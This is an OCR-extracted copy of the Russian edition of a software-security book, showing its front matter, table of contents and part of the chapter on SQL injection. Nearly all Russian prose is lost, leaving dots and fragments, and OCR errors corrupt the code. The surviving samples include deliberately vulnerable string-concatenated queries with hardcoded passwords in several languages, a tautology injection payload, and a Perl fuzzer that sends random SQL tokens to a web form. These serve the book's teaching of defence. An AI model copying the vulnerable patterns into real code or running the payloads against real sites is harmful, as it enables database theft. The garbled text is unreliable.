Вы находитесь на странице: 1из 363

.

______ ^


* *6-
X *
<

. , . , .

-
--

2010

32.973-018-07
004.49
68

68

., ., .
24 . .
.: , 2010. 400 .: .
ISBN 978-5-49807-747-5

, .
,
( ),
.
The 19 Deadly Sins of Software Security,
.
, Microsoft
, , 24
, ,
,
.

32.973-018-07
004.49

McGraw-Hill.
.
.
, , ,
. , ,

, .

ISBN 978-0071626750 (.)


ISBN 978-5-49807-747-5

McGraw-Hill, 2009
,
, 2010


...................................................................................................................... 24
................................................................................................................... 26
................................................................................................................ 30
......................................................................................................................... 32
I. -
1. SQL. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
2. , - (XSS, XSRF ). . . . . . . . . . . . 60
3. , - (XSS). . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 91
4. URL, cookie . . . . . . . . . . . . . . . . . . . 102
.
5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 115
6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 134
7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 143
8. C++. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 167

9. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 179
10. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 191
11. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 203
12. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 211
13. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 226
14. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 237
15. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 250
16. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 262
17. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 271
18. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 284
III.
19. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 297
20. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 316
21. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 332
IV.
22. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 355
23. PKI ( SSL). . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 366
24. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 378
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 388

................................................................................................................... 24
..................................................................................................................26
.............................................................................................................. 30
..................................................................................................................... 32

.................................................. 34

I.
1. SQ L.................................................................................................... 37

.......................................................................... 37
C W E ............................................................................ 39
............................................................ 39
............................................................................... 39
L IX Q .......................................................... 40
# ..................................................................................... 40

..........................................................................................................................................41
Perl/CGI ................................................................................................................................ 41
P ython......................................................................................................................................42
Ruby on Rails...........................................................................................................................42
JavanJDBC ...........................................................................................................................42
C /C + + ......................................................................................................................................43
SQL ......................................................................................................................................... 44
..........................................................................................................45
............................................................................................................................ 46
.............................................................................................46
...................................................................47
....................................................................................................................................... 49
CVE-2006-4953 .....................................................................................................................50
CVE-2006-4592 ......................................................................................................................50
..................................................................................................................... 51
............................................................................................................. 51
S Q L ......................51
C # ..............................................................................................................................................52
5.0/MySQL 4.1 ................................................................................................52
Perl/CGI .................................................................................................................................53
Python...................................................................................................................................... 53
Java J D B C ............................................................................................................................. 54
ColdFusion...............................................................................................................................55
SQL .......................................................................................................................................... 55
QUOTENAME REPLACE ..................................................................56
DBMS_ASSERT?....................................................................... 56
CAT.NET.....................................................................................................56
...................................................................................... 57
.....................................................57
URLScan.....................................................................................................57
.............................................................................................................................58
............................................................................................................................................. 59
2. , - (XSS, XSRF )................. 60

...........................................................................................................................60
CWE ...............................................................................................................................61
...................................................................................................62
................................................................................................................................. 62
XSS DOM ( 0 ) ........................................................................................62
XSS, XSS ( 1) ..................................... 62
XSS, XSS ( 2 ) .......................................65
H T T P .................................................................................................66
........................................................................ 67
Ruby on Rails (X S S )............................................................................................................. 68
Ruby on Rails ( )..................................................................................68
CGI, Python (XSS) ............................................................69
CGI, Python ( )................................69
ColdFusion (XSS) ................................................................................................................. 69
C/C++ ISAPI (X S S )............................................................................................................. 69
C/C++ ISAPI ( ) ................................................................................70

ASP ( X S S )..............................................................................................................................70
ASP ( ) ................................................................................................ 70
ASP.NET (XSS) ......................................................................................................70
ASP.NET ( ).........................................................................................70
JSP(X SS) .............................................................................................................................. 71
JSP ( ).................................................................................................. 71
(XSS) ............................................................................................................................ 71
( )................................................................................................ 71
CGI/Perl (X S S ).....................................................................................................................71
mod_perl (XSS) .................................................................................................................... 72
m odperl ( ).........................................................................................72
HTTP (XSRF) ......................................................................................................72
............................................................................................................................72
.............................................................................................. 73
XSRF ......................................................... 74
.................................................................... 74
.......................................................................................................................................75
CVE-2003-0712 Microsoft Exchange 5.5 Outlook Web Access X S S ............................. 75
CVE-2004-0203 Microsoft Exchange 5.5 Outlook Web Access:
7fi
........................................................................................................'

CVE-2005-1674 Help Center Live (XSS XSRF).................. 76


(XSS ) ............................................................... 76
Ruby on Rails ( X S S ) ..............................................................................................................77
ISAPI C/C++ (X S S )..............................................................................................................77
Python (XSS) .........................................................................................................................78
ASP (X S S ).............................................................................................................................. 78
ASP.NET Web Forms ( X S S ) .................................................................................................79
ASP.NET Web Forms (RS) ...................................................................................................79
JSP (XSS) .............................................................................................................................. 80
PH P(XSS) ............................................................................................................................ 82
CGI (X S S ) .............................................................................................................................. 82
mod_perl (XSS) .....................................................................................................................83
(X SR F )...................................................................................................... 83
- ........................................................................................................... 83
P O ST /G E T ........................................................................................................84
Ruby on Rails (XSRF) ..........................................................................................................84
ASP.NET Web Forms (XSRF) .............................................................................................84
HTML ....................................... 85
...........................................................................................86
Cookie HttpOnly.............................................................................................. 86
..............................................................................86
ASP.NET ViewStateUserKey ............................................................................86
ASP.NET ValidateRequest................................................................................. 87
ASP.NET Security Runtime Engine ................................................................................... 87
OWASP CSRFGuard ........................................................................................................... 87
Apache::TaintRequest ........................................................................................................... 87
UrlScan................................................................................................................................... 87
.......................................................................................88
............................................................................................................................88
............................................................................................................................................ 89

10

. , - ( X S S ) ......................................................................................... 91

........................................................................................................................... 91
CWE .............................................................................................................................. 93
...................................................................................................93
.................................................................................................................................. 93
..................................................................... 94
JavaScript H TM L............................................................................................................... 95
............................................................................................................................ 95
...............................................................................................96
.....................................................................96
....................................................................................................................................... 97
Microsoft ISA Server XSS CVE-2003-0526 ........................................................................97
Windows Vista Sidebar CVE-2007-3033 CVE-2007-3032 ............................................ 97
Yahoo! Instant Messenger ActiveX Control CVE-2007-4515 .......................................... 98
.....................................................................................................................98
He ..........................................................98
..................................................................................99
..................................................................................... 100
...................................................................................................................... 100
....................................................................................................................................... 100
4. URL, cookie ........................................ 102

....................................................................................................................
WE ........................................................................................................................
............................................................................................
............................................................................................................................
U R L .............................................................................................................
cookie....................................................................................................
........................................................................................................
....................................................................................................
......................................................................................................................
.........................................................................................
...............................................................
.................................................................................................................................
CVE-2005-1784 ...............................................................................................................
.......................................................................................................
............................................................................
............................................................................
.....................................................................................
.......................................................................................
................................................................................
......................................................................................................................
.......................................................................................................................................

102
103
103
103
103
104
104
104
104
105
106
107
107
107
107
108
109
110
111
111
111

II.
5. ...................................................................................................................................................

115

CWE ........................................................................................................................ 116


............................................................................................ 117

11

............................................................................................................................
64- ....................................................................................................
C /C + + ................................................................................................................................
....................................................................................................
......................................................................................................................
.........................................................................................
...............................................................
.................................................................................................................................
CVE-1999-0042 ...............................................................................................................
CVE-2000-0389-CVE-2000-0392 ................................................................................
CVE-2002-0842, CVE-2003-0095, CAN-2003-0096 ..................................................
AN-2003-0352 ...................................................................................................................
...............................................................................................................
..................................................
.................................................................................
...............................................................
C++ ...........................................................
STL ..................................................
.................................................................................
................................................................................
.....................................................................................................................
.........................................................................................
......................................................................................................................
.......................................................................................................................................

118
121
122
124
125
125
126
127
127
127
128
128
129
129
129
130
130
130
130
131
131
132
132
133

6. ......................................................................................................................................

134

.....................................................................................................................
WE ........................................................................................................................
............................................................................................
............................................................................................................................
C /C + + ................................................................................................................................
....................................................................................................
......................................................................................................................
.........................................................................................
...............................................................
.................................................................................................................................
CVE-2000-0573 ...............................................................................................................
CVE-2000-0844 ...............................................................................................................
...............................................................................................................
C /C + + ................................................................................................................................
...............................................................................
......................................................................................................................
.......................................................................................................................................

134
135
135
135
138
139
139
139
140
140
140
140
141
141
142
142
142

7 . ................................................................................................................................

143

.....................................................................................................................
WE ........................................................................................................................
.............................................................................................
............................................................................................................................

143
144
144
144

12

C /C + + ...............................................................................................................................
............................................................................................
.........................................................................................
......................................................................................................
.......................................................................................................
64- ..................................................................
..................................................................................................
C # .......................................................................................................................................
checked unchecked ........................................................................
Visual Basic Visual Basic .N E T ...................................................................................
Java.....................................................................................................................................
P erl.....................................................................................................................................
......................................................................................................................
.........................................................................................
C /C + + ...............................................................................................................................
C # .......................................................................................................................................
Java.....................................................................................................................................
Visual Basic Visual Basic .N E T ...................................................................................
P erl.....................................................................................................................................
...............................................................
.................................................................................................................................
SearchKit API
Apple Mac OS X ................................................................................................
Google Android S D K ............................................

Windows Script Engine .........................................................................................
H T R .............................................................................
...............................................................................................................
..................................................................................................
...............................................................................................................
.....................................................................................
Safelnt.......................................................................................................
...............................................................................
......................................................................................................................
.......................................................................................................................................

145
145
147
150
150
150
152
152
153
154
155
155
156
156
157
159
159
159
160
160
160

8. C + + ................................................................................................................................................................

167

....................................................................................................................
WE ........................................................................................................................
............................................................................................
............................................................................................................................
delete..................................................................................................................
.........................................................................................
..............................................................................................
....................................................................
STL.........................................................................................
.........................................................................................
......................................................................................................................
.........................................................................................
...............................................................

167
168
168
169
169
170
171
172
172
173
173
174
174

160
161
161
161
162
162
162
163
164
165
166
166

.................................................................................................................................
CVE-2008-1754 ...............................................................................................................
...............................................................................................................
new d e le te ............................................................................
..........................................................................................
.................................................................................
...........................................................................................
STL.....................................................................................................................................
............................................................................
...............................................................................
......................................................................................................................
.......................................................................................................................................

13
174
174
175
175
175
176
176
177
177
177
178
178

9. ................................................................................................................................................ 179

....................................................................................................................
CWE ........................................................................................................................
............................................................................................
............................................................................................................................
C++ ...........................................................................................................
.......................................
.......................................................................................................
#, VB.NET J a v a .........................................................................................................
Ruby...................................................................................................................................
......................................................................................................................
.........................................................................................
...............................................................
.................................................................................................................................
CVE-2007-0038 ...............................................................................................................
...............................................................................................................
C++ ...................................................................................................................................
SEH ...................................................................................................................................
..................................................................................................
......................................................................................................................
.......................................................................................................................................

179
179
180
180
180
183
185
185
186
186
187
188
188
188
188
188
189
189
190
190

10. .......................................................................................................................................................... 191

....................................................................................................................
C W E ..................................................................................................................
............................................................................................
............................................................................................................................
....................................................................................................
......................................................................................................................
.........................................................................................
...............................................................
.................................................................................................................................
CAN-2001-1187 ...............................................................................................................
CAN-2002-0652 ...............................................................................................................
................................... ....................................................................
...........................................................................................................
..............................................................................

191
192
192
192
194
194
194
196
197
197
197
198
198
201

14

..................................................................................... 201
...................................................................................................................... 202
....................................................................................................................................... 202
1 1 . ...................................................................................................................... 203

....................................................................................................................
CWE ........................................................................................................................
............................................................................................
............................................................................................................................
......................................................................
................................................................................................
...............................................................................
........................................................................
............................................
C /C + + ...............................................................................................................................
C /C + + Windows ......................................................................................................
....................................................................................................
......................................................................................................................
.........................................................................................
...............................................................
.................................................................................................................................
CVE-2007-3798 tcpdump print-bgp.c: ...........
CVE-2004-0077 Linux: do_mremap....................................................................
...............................................................................................................
C /C + + ................................................................................................................................
C/C++ Microsoft Visual C + + ....................................................
......................................................................................................................
.......................................................................................................................................

203
204
204
204
204
204
205
206
206
206
207
208
208
208
208
208
208
208
209
209
209
210
210

12. ......................................................................................................................................................

2 11

....................................................................................................................
CWE ........................................................................................................................
............................................................................................
......................................................................................................................
...........................................................................................................
.........................................................................................................
....................................................................................................
...................................................................................
.....................................................................................
.......................................................................................
........................................................................................................
...................................................................................
.................................................................
C# ( )............................................................................................
....................................................................................................
......................................................................................................................
.........................................................................................
...............................................................
............................................................................

211
212
212
212
213
213
214
214
215
215
216
216
216
218
218
219
219
220
220

.................................................................................................................................
CVE-2008-4638 ...............................................................................................................
CVE-2005-1133 ...............................................................................................................
...............................................................................................................
C# ( ) ......................................................................................................
...........................................................................................................
...............................................................................
......................................................................................................................
.......................................................................................................................................

15
221
221
221
221
222
223
223
224
225

13. ................................................................................................................................................................ 226

CWE ........................................................................................................................
............................................................................................
............................................................................................................................
.............................................................................................................................
....................................................................................................
......................................................................................................................
.........................................................................................
...............................................................
.................................................................................................................................
CVE-2008-0379 ...............................................................................................................
CVE-2008-2958 ...............................................................................................................
CVE-2001-1349 ...............................................................................................................
CAN-2003-1073 ...............................................................................................................
CVE-2000-0849 ...............................................................................................................
...............................................................................................................
...............................................................................
......................................................................................................................
.......................................................................................................................................

227
227
227
229
230
230
231
232
232
232
233
233
233
233
234
236
236
236

14. .......................................................................................................................................................... 237

.................................................................................................................... 237
CWE ........................................................................................................................ 238
............................................................................................ 238
............................................................................................................................ 238
......................................................................................... 239
: ...................... 240
.................................................................................................... 241
...................................................................................................................... 241
......................................................................................... 241
............................................................... 242
.......................................................................................................................... 242
SSL /T L S....................................................... 242
Internet Explorer 4 .0 ....................................... 243
................................................................................................................ 244
........................ 244
............................................ 244
, .......................................................................................... 245
............................... 246

16

...................................................................................
....................................................................
...........................................................
......................................................................................................................
.......................................................................................................................................

247
248
248
248
249

15. ...................................................................................................................................... 250

....................................................................................................................
WE ........................................................................................................................
............................................................................................
............................................................................................................................
........................................................................
....................................................................................................
.......................................................................................
..................................................................................................
.........................................................................................
...............................................................................
.....................................................................................
...................................................................................
..............................................................................
D N S .................................................................................................................
.....................................................................................
.................................................................................
................................................................................................
....................................................................
......................................................................................................................
...............................................................................
...............................................................
.................................................................................................................................
Apple QuickTime .....................................................................................
Microsoft SQL Server 2000 ...................................................................
Google Chrome ................................................................................................
...............................................................................................................
........................................................
....................................................................................................
.......................................................................................
..............................................................................................
.........................................................................................
................................................................................
.....................................................................................
...................................................................................
..............................................................................
D N S .................................................................................................................
.....................................................................................
.................................................................................
................................................................................................
....................................................................
................................................................................
......................................................................................................................
.......................................................................................................................................

250
251
251
251
251
251
252
252
252
252
252
253
253
253
253
253
254
254
254
255
255
255
255
256
256
256
256
256
257
257
257
257
258
258
259
259
259
260
260
260
261
261
261

17

16. ............................................................................ 262

....................................................................................................................
CWE ........................................................................................................................
............................................................................................
............................................................................................................................
....................................................................................................
......................................................................................................................
.........................................................................................
...............................................................
.................................................................................................................................
...............................................................................................................
Windows, C + + ...........................................................................................................
Linux, BSD Mac OS X ................................................................................................
.NET ..........................................................................................................................
...............................................................................
......................................................................................................................
.......................................................................................................................................

262
263
263
263
264
265
265
265
266
266
267
269
270
270
270
270

1 7 . ................................................................................................................... 2 71

....................................................................................................................
WE ........................................................................................................................
............................................................................................
............................................................................................................................
................................................
ACL Windows ...................................................................................
UNIX ..........................................................................................
....................................................................................................
...............................................................................
............................................................................
....................................................................................................
......................................................................................................................
.........................................................................................
...............................................................
.................................................................................................................................
CVE-2000-0100 ...............................................................................................................
CVE-2005-1411 ...............................................................................................................
CVE-2004-0907 ...............................................................................................................
...............................................................................................................
C++ W indows...........................................................................................................
C# Windows .............................................................................................................
C /C + + (GNOM E)...........................................................................................................
...............................................................................
......................................................................................................................
.......................................................................................................................................

271
272
272
272
272
273
273
274
276
276
277
277
278
278
279
280
280
280
280
281
282
282
283
283
283

18. ...................................................................................................................................... 284

.................................................................................................................... 284
CWE .......................................................frv.
,..
^ ^286
..........................

18

............................................................................................................................
...............................................................................................................
.....................................................................................
....................................................................................................
......................................................................................................................
.........................................................................................
...............................................................
.................................................................................................................................
CVE-2006-2198 ...............................................................................................................
CVE-2008-1472 ...............................................................................................................
CVE-2008-5697 ...............................................................................................................
...............................................................................................................
.....................................................................................
...............................................................................................................
...............................................................................
......................................................................................................................
.......................................................................................................................................

286
287
287
287
288
288
289
289
289
290
290
290
290
292
292
292
293

III.
19. ................................................................................................................................................................ 297

....................................................................................................................
CWE ........................................................................................................................
............................................................................................
............................................................................................................................
....................................................................................................
.................................................................................................................
...........................................................................................................
....................................................................
....................................................................................................
............................................................................
-..........................................................................
- ...................................
.............................................................
..............................................................................................
...............................................................................
....................................................................................................
......................................................................................................................
....................................................................................................
.................................................................................................................
...........................................................................................................
....................................................................
....................................................................................................
............................................................................
.....................................................................................
-..........................................................................
..............................................................................................
...........................................................
......................................................................................................................
i

297
298
298
298
299
299
300
300
300
300
301
301
302
302
303
303
303
303
303
303
304
304
304
304
305
305
305
305

...............................................................
....................................................................................................
............................................................................
.....................................................................................
.................................................................................................................................
! ...............................................................................................................
Microsoft Office.......................................................
Adobe Acrobat .....................................................................................
WU-ftpd ............................................................................................
CVE-2005-1505 ...............................................................................................................
CVE-2005-0432 ...............................................................................................................
TENEX .............................................................................................................
...................................................................
...............................................................................................................
.......................................................................................................
.................................................................................................................
...........................................................................................................
.......................................................................................................
....................................................................................................
............................................................................
.............................................................................................................
..................................................
......................................................
.............................................................................................................
...............................................................................
......................................................................................................................
.......................................................................................................................................

19
306
306
306
306
307
307
307
308
308
308
309
309
309
309
310
310
310
310
311
311
311
312
313
313
313
314
314

20. ...................................................................................................................................... 316

CWE ........................................................................................................................
............................................................................................
............................................................................................................................
- ............................................................................
.................................................................................
........................................................................
.........................................................................................................
......................................................................................................................
...............................................................................
....................................................
..............................................................................
......................................................
...............................................................
.................................................................................................................................
TCP/IP .......................................................................................
O D F ...................................................................
CVE-2008-0166: Debian ............................
Netscape.............................................................................................................
...............................................................................................................
Windows, C + + ...........................................................................................................
Windows TPM (Trusted Platform M odule).......................................

316
317
317
318
318
319
320
320
321
321
321
322
323
323
323
323
325
325
325
325
326

20

.NET ..................................................................................................................
U N IX .................................................................................................................................
Java.....................................................................................................................................
.............................................................
...............................................................................
......................................................................................................................
.......................................................................................................................................

327
327
328
329
329
330
330

2 1. ...................................................................................................................... 332

....................................................................................................................
CWE ........................................................................................................................
............................................................................................
............................................................................................................................
.........................................................
,
....................................................
.....................................
..........................
.........................................
.........................................
......................................................................................................
......................................................
......................................................................
.............................................................................
...............................................................................
.........................................................................................................
......................................................................................................................
...............................................................................
(VB.NET C + + ) ..........................
,
....................................................
(C# C++) ...............

(Ruby, C# C + + )......................................................................................................
.........................................
.........................................
...............................................................
.................................................................................................................................
....................................................................
XOR Microsoft Office............................................................................
Adobe Acrobat KDF Microsoft O ffice.......................................................
...............................................................................................................
.........................................................
,
....................................................
.........................................
..........................
..................................................................................................................
................................................
......................................................................................................

332
333
333
333
333
334
334
335
338
338
338
338
339
339
340
340
340
341
341
342
342
342
343
343
343
343
343
344
344
345
345
345
345
345
346
347
347

......................................................
......................................................................
..............................................................................
...............................................................................
.........................................
................................................................................
......................................................................................................................
.......................................................................................................................................

21
347
348
348
349
349
350
350
350

IV.
22. ...................................................................................................................... 355

....................................................................................................................
C W E ...................................................................................................................
............................................................................................
............................................................................................................................
.........................................................................................................
......................................................................................................................
...............................................................................
...............................................................
.................................................................................................................................
T C P /IP ..............................................................................................................................
...................................................................................
E*TRADE ........................................................................................................................
...............................................................................................................
...............................................................................
......................................................................................................................
.......................................................................................................................................

355
356
356
356
360
361
361
361
362
362
363
363
363
364
364
364

23. PKI ( S S L ) ........................................................................

366

....................................................................................................................
CWE ........................................................................................................................
............................................................................................
............................................................................................................................
....................................................................................................
......................................................................................................................
...............................................................................
...............................................................
.................................................................................................................................
CVE-2007-4680 ...............................................................................................................
CVE-2008-2420 ...............................................................................................................
...............................................................................................................
.................................................................
....................................................................................................
.....................................................................................
PKI .....................................
................................................................................
......................................................................................................................
.......................................................................................................................................

366
367
368
368
369
369
369
371
372
372
372
372
373
374
375
376
376
376
377

22

24. ............................................................................ 378

....................................................................................................................
CWE ........................................................................................................................
............................................................................................
............................................................................................................................
.......................................................................................................
....................................................................................................
......................................................................................................................
...............................................................................
...............................................................
.................................................................................................................................
CVE-2002-0676 ...............................................................................................................
CVE-1999-0024 ...............................................................................................................
...............................................................................................................
......................................................................................................................
.......................................................................................................................................

378
379
379
379
382
383
383
384
384
385
385
385
386
387
387

.................................................................................................................................................................... 388

SQL


SQL( SQL injection) ,
, ,
.
,
,
; ,
SQL.
.
,
SQL ( ,
!), , .
, , .
SQL.
, ,
:
/1433 Microsoft SQL Server;
/1521 Oracle;

38
.
.

1 SQL

/523 IBM DB2;


/3306 M ySQL
,
,
!
, .
SQL .
,
.
,
. , ,

, .
9 BDSG ( )
,
.
, 2002
404, ,
. ,
SQL, ,
. ,
, 6.5.6
(Payment Card
Industry (PC I) Data Security Standard (DSS)), :
-
, ,
OWASP.
, , ...
(, SQL (Structured Query Language)).
, :
(PCD DSS), 6.6:
,
SQL:

, -
, SQL.
PCI DSS -
, ,
.
, ,

(HIPAA, Health Insurance Portability and Accountability Act)
1996 , , ...

39

...
, :
;
:
1) ;
2) .
, SQL,
, ,
HI .
, SQL
; , , .

.

CWE
CW E (CommonWeakness Enum eration) ,
CWE/SANS 25
:
CWE-89: SQL (
SQL).


,
!
: Perl, Python, Ruby, Java, (,
ASP, ASP.NET, JSP ), C# VB.NET.
, C++
(, FairCom c-tree Microsoft Foundation Classes).
, SQL .


, , ,
SQL .
SQL.

40

1 SQL

, ,
,
. , !

SQL, ,
, .

LINQ
Microsoft .NET Framework 3.5 , LINQ
(Language Integrated Query ),
SQL;
LINQ
SQL .
SQL,
SQL .
LINQ:
var q =
from in db.Customers
where c.City == "Austin"
select c.ContactName:

SQL:
SELECT [tO].[ContactName]
FROM [dbo].[Customers] AS [tO]
WHERE [tO].[City] = (PpO
-- @p0: Input NVarChar (Size = 6; Prec = 0; Scale = 0) [Austin]

c#
SQL:
using System.Data:
using System.Data.SqlClient:
string status = "":
string ccnum = "None":
try {
SqlConnection sql= new SqlConnection(
@"data source=localhost:M +
"user id=sa;password=pAs$wOrd;");
sql .OpenO:
string sqlstring="SELECT ccnum" +
" FROM cust WHERE id=" + Id:
SqlCommand cmd = new SqlCommand(sqlstring,sql);
ccnum = (string)cmd.ExecuteScalar():
} catch (SqlException se) {
status = sqlstring + " failed\n\r";
foreach (SqlError e in se.Errors) {
status += e.Message + "\n\r";

41


:
string sqlstring="SELECT ccnum" +
" FROM cust WHERE id-XID*":
string sqlstring2 = sqlstring.Replace('%ld%'.id);

PHP
,
, : .
<?php
$db = mysql_connect(,,localhost,,f"root,,.,,$Ssshhh...!");
mysq1_select_db("Shi ppi ng.$db);
Sid = $HTTP_GET_VARS["id"]:
Sqry = "SELECT ccnum FROM cust WHERE id =*SidS";
$result = mysql_query($qry.$db);
if ($result) {
echo mysql_result(Sresult.O," ccnum");
} else {
echo "No result! " . mysql_error():

?>

Perl/CGI
, Perl:
#!/usr/bin/perl
use DBI:
use CGI:
print CGI::header();
Scgi = new CGI;
Sid = Scgi^paramCid');
print "<html><body>":
Sdbh = DBI->connect(DBI:mysql:Shipping:local host'.
'root'.
'S3cre+')
or print "Connect failure : SDBI::errstr";
Ssql = "SELECT ccnum FROM cust WHERE id = " . Sid;
Ssth = $dbh->prepare($sql)
or print "Prepare failure : (Ssql) SDBI::errstr";
$sth->execute()
or print "Execute failure : SDBI::errstr";

42

1 SQL

#
while (@row = $sth->fetchrow_array ) {
print "@row<br>";

}
$dbh ^disconnect;
print "</body></html>";
exit;

Python
Python -. ,
,
SQL. Python ,
MySQL, Oracle SQL Server;
Microsoft Open Database Connectivity (ODBC).
Python DBAPI-.
,
, MySQL:
import MySQLdb

conn = MySQLdb.connect(host="127.0.0.1" .portK^Oe.user^'admin".


passwd=,,N01WillGue$S" .db="cl ientsDB)
cursor = conn.cursor()
cursor.executeC'select * from customer where id=" + id)
results = cursor, fetchal 1 0
conn.closeO

Ruby on Rails
Ruby -,
. Rails
- (MVC). :
Post.find(:first, conditions => [?title = #{params[:search_string]}?])

!
---------------------------------------------------------------------------------------------------- 2.1 Rails SQL,
, ActiveRecord :limit
:offset. Rails, -
2.1 .

Java JDBC
Java
SQL:

43

import java.*;
import java.sql
public static boolean doQuery(String Id) {
Connection con = null;
try

{
Class.forName("com.mi crosoft.jdbc.sqlserver.SQLServerDri ver"");
con = DriverManager.getConnection("jdbc:microsoft:sqlserver: " +
"//localhost:1433". "sa". "$3cre+");
Statement st = con.createStatementO:
ResultSet rs = st.executeQuery(
" SELECT ccnum FROM cust WHERE id="+ Id);
while (rs.nextO) {
//

}
rs.closeO;
st.closeO;

catch (SQLException e)

// 0!
return false;

}
catch (ClassNotFoundException e2)

{
//
return false;

}
finally

{
try

{
con.closeO;
} catch(SQLException e) {}

}
return true;

C/C++
- , C++
,
- ,
!
C++?
, .
int Bui 1dPwdChange(const char* szllid.
const char* szOldPwd.
const char* szNewPwd.
In z count (cchSQL) char *szSQL.

44

1 SQL

DWORD cchSQL) {
int ret = 0:
if (IszUid || IszOldPwd || IszNewPwd)
return ret;
char* szEscapeUid
= (char*)malloc(strlen(szUid)
* 2);
char* szEscapeOldPwd = (char*)malloc(strlen(sz01dPwd) * 2);
char* szEscapeNewPwd = (char*)malloc(strlen(szNewPwd) * 2);
if (szEscapeUid &&
szEscapeUid
szEscapeOldPwd
szEscapeNewPwd

szEscapeOldPwd && szEscapeNewPwd) {


= Escape(szUid);
= Escape(szOldPwd);
= Escape(szNewPwd);

sprintf_s(szSQL. cchSQL,
"update Users set pwd='2s' where uid=,^s"
"AND pwd='s'",
szEscapeNewPwd, szEscapeUid, szEscapeOldPwd);
ret = 1;

}
if (szEscapeUid)
free(szEscapeUid);
if (szEscapeOldPwd) free(szEscapeOldPwd);
if (szEscapeNewPwd) free(szEscapeNewPwd);
return ret;

}
, , sprint s,
SQL. , szSQL
100 ;
(UID), , "AND pwd="
SQL! :
update Users set pwd=xyzzy'
where uid='mikeh <. SQL 100 > '


mikeh, .

SQL
,
.
!
CREATE PROCEDURE dbo.doQuery(@query nchar(128))
AS
exec(@query)
RETURN

,
:

45

CREATE PROCEDURE dbo.doQuery(@id nchar(128))


AS
DECLARE @query nchar(256)
SELECT @query = 'select ccnum from cust where id = '' +@id + ,,,,
EXEC @query
RETURN

.
,
.
SQL + 11, C0NCAT()
CONCATENATE().
Id.
, ,
, .
Id ,
, .
SQL
. ,
Id, 1 or 2>1
- -, SQL :
SELECT ccnum FROM cust WHERE id=l or 2>1 --

bash, , 2>1
stderr! 2>1 , ,
cust; ,
.
1=1,
(IDS, Intrusion Detection System).
, (, 2>1),
.
(--) ,
. - -, #.
, ,
.
,
, .
.


:
.
.
.
.

48

1 SQL

:

, ,
. ,
, , .
, SQL
, .

.
17.
, - ,
.
SQL, ,
.
11.


SQL , :
;
;
;
SQL
SQL exec ( ).


SQL ,
. ,
SQL , , .
, .
:

VB.NET

Sql SqlClient, OracleClient, Sql Data Adapter

C#

Sql, SqlClient, OracleClient, Sql Data Adapter

mysql_c nnect

Perl1

DBI, Oracle, SQL

Ruby

ActiveRecord

Python (MySQL)

MySQLdb

Python (Oracle, c m . zope.org)

DCOracle2

47

Python (SQL Server, . object-craft.com.au) pymssql


Java (cJDBC)

java.sql, sql

Active Server Pages

ADODB

C++ (Microsoft Foundation Classes)

Database

C/C++ (MySQL)

#include <mysql++.h>
#include <mysql.h>

C/C++ (ODBC)

#include <sql.h>

C/C++ (ADO)

ADODB, #import msadol5.dll

SQL

exec, execute, sp_executesql

ColdFusion

cfquery

, , .
, ,
, . ,
SQL, ,
,
, - SOAP. ,
, !


,
SQL. ,
. .
,
SQL. ,
. ,
-
,
SQL.
Perl , :
#!/usr/bin/perl
use
use
use
use

strict;
HTTP::RequestCommon qw(P0ST GET);
HTTP::Headers:
LWP::UserAgent;

srand time;

48

1 SQL

#
my Spause = 1;
# URL-
Surl = 'http://mywebserver.xyzzyl23.com/cgi-bin/post.cgi';
# HTTP
my $max_response = 1_000;
#
my @cities = qw(Auckland Seattle London Portland Austin Manchester Redmond
Brisbane Ndola);
while (1) {
my $city = randomSQL($cities[rand cities]);
my Szip = randomSQL(10_000 + int(rand 89999));
print "Trying [$city] and [$zip]\n";
my Sua = LWP::UserAgent->new();
my $req = POST $url,
[ City => Scity.
ZipCode => $zip.

];
# ,
my $res = $ua->request($req);
$_ = $res->as_string;
die "Host unreachable\n" if /bad hostname/ig;
if ($res->status_line != 200
|| /error/ig
j| length($_) > $max_response) {
print "\nPotential SQL Injection error\n";
print;
getc if Spause;

}
}
# SQL,
# 50
sub randomSQLO {
$_ = shift;
return $_ if (rand > .75);
my @sqlchars = qw(l=l 2>1 "fred"="fre,,+"d" or and select union drop
update insert into dbo<>=()'..--#);
my Ssql = $sqlchars[rand @sqlchars];
Ssql = uc(Ssql) if rand > .5;
return
Ssql if rand > .9;
return $sql.''.$_if rand > .9;
return Ssql;

}
,
. , . -

49

: Perl,
, , ,
Perl.

, IBM Rational AppScan IBM ( Sanctum,
